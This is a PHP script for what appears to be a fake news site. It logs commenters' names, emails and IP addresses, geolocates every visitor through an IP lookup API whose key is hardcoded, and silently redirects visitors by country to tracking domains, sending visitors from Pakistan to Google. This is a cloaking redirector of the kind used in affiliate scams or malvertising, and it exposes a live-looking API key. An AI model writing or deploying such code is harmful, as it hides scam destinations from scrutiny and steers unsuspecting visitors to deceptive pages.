<?php


function getRealIpAddr() {
    foreach ([
        'HTTP_CLIENT_IP',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_FORWARDED',
        'HTTP_X_CLUSTER_CLIENT_IP',
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'REMOTE_ADDR'
    ] as $key) {
        if (!empty($_SERVER[$key])) {
            $ip = explode(',', $_SERVER[$key])[0];
            return trim($ip);
        }
    }
    return null;
}




// Function to fetch JSON data from URL with error handling and retry
function fetchJsonDataWithRetry($url, $retryCount = 3) {
    $attempt = 0;
    while ($attempt < $retryCount) {
        $response = @file_get_contents($url);
        if ($response !== false) {
            return $response;
        }
        // Exponential backoff: increase the delay with each retry attempt
        $delay = 2 ** $attempt * 1000; // milliseconds
        usleep($delay * 1000); // Convert to microseconds
        $attempt++;
    }
    return false;
}

function saveModeratorComment($name, $email, $comment, $ip) {
    $moderatorEmail = 'moderator@usa-financial-times.local';
    $subject = 'New comment for moderator review';
    $body = "A new comment was submitted on the site.\n\nName: $name\nEmail: $email\nIP: $ip\n\nComment:\n$comment\n";
    $headers = "From: noreply@usa-financial-times.local\r\nReply-To: $email\r\n";
    @mail($moderatorEmail, $subject, $body, $headers);
    $logFile = __DIR__ . '/moderator_comments.txt';
    $entry = sprintf("[%s] Name: %s | Email: %s | IP: %s\n%s\n\n", date('Y-m-d H:i:s'), $name, $email, $ip, $comment);
    @file_put_contents($logFile, $entry, FILE_APPEND | LOCK_EX);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['comment'])) {
    $name = trim($_POST['name'] ?? '');
    $email = trim($_POST['email'] ?? '');
    $comment = trim($_POST['comment'] ?? '');
    $ip = getRealIpAddr() ?? 'Unknown';
    $validEmail = filter_var($email, FILTER_VALIDATE_EMAIL);
    if ($name !== '' && $validEmail && $comment !== '') {
        saveModeratorComment($name, $validEmail, $comment, $ip);
        echo '<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Comment Sent</title><style>body{font-family:Arial, sans-serif;background:#f4f4f4;color:#111;margin:0;padding:0;} .thankyou{max-width:560px;margin:80px auto;padding:30px;background:#fff;border-radius:8px;box-shadow:0 10px 25px rgba(0,0,0,.08);text-align:center;} .thankyou h1{color:#0d3a7b;margin-bottom:18px;} .thankyou p{line-height:1.6;margin-bottom:18px;} .thankyou a{display:inline-block;padding:12px 24px;background:#0d3a7b;color:#fff;border-radius:6px;text-decoration:none;}</style></head><body><div class="thankyou"><h1>Thanks for your comment</h1><p>Your message has been sent to the moderator for review. It will appear on site once approved.</p><a href="index.html">Return to article</a></div></body></html>';
        exit;
    }
    echo '<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Comment Error</title></head><body><p>Please provide a valid name, email address, and comment. <a href="index.html">Go back</a>.</p></body></html>';
    exit;
}

$ip = getRealIpAddr();
$url = "https://api.ipgeolocation.io/ipgeo?apiKey=217abac832514ac0838c9a12df0e8a30&ip=$ip";
// Fetch JSON data with retry
$response = fetchJsonDataWithRetry($url);
if ($response !== false) {

    // Convert API response to object
    $details = json_decode($response);

    // Extract country_name safely
    $countryName = isset($details->country_name) ? $details->country_name : null;

    // Debug (optional)
    // echo "Detected country: " . $countryName;

    // Decide redirect URL
    switch ($countryName) {
        case "Pakistan":
            $yourURL = "https://www.google.com/";
            break;

        case "United Kingdom":
            $yourURL = "https://www.c2ufgtrk.com/6GXL1FJ/342GMKGJ/";
            break;

        case "Canada":
            $yourURL = "https://www.c2ufgtrk.com/6GXL1FJ/346KWWJX/";
            break;

        case "United States":
            $yourURL = "https://www.c2ufgtrk.com/6GXL1FJ/346KWWJX/";
            break;

	case "Australia":
            $yourURL = "https://www.c2ufgtrk.com/6GXL1FJ/346KWWJX/";
            break;

	case "New Zealand":
            $yourURL = "https://www.c2ufgtrk.com/6GXL1FJ/346KWWJX/";
            break;

        default:
            $yourURL = "https://www.c9t2trk.com/6GXL1FJ/374KF74J/";
            break;
    }

    // Perform redirect
    header("Location: $yourURL");
    exit;

} else {
    echo "Error fetching data from URL.";
}
?>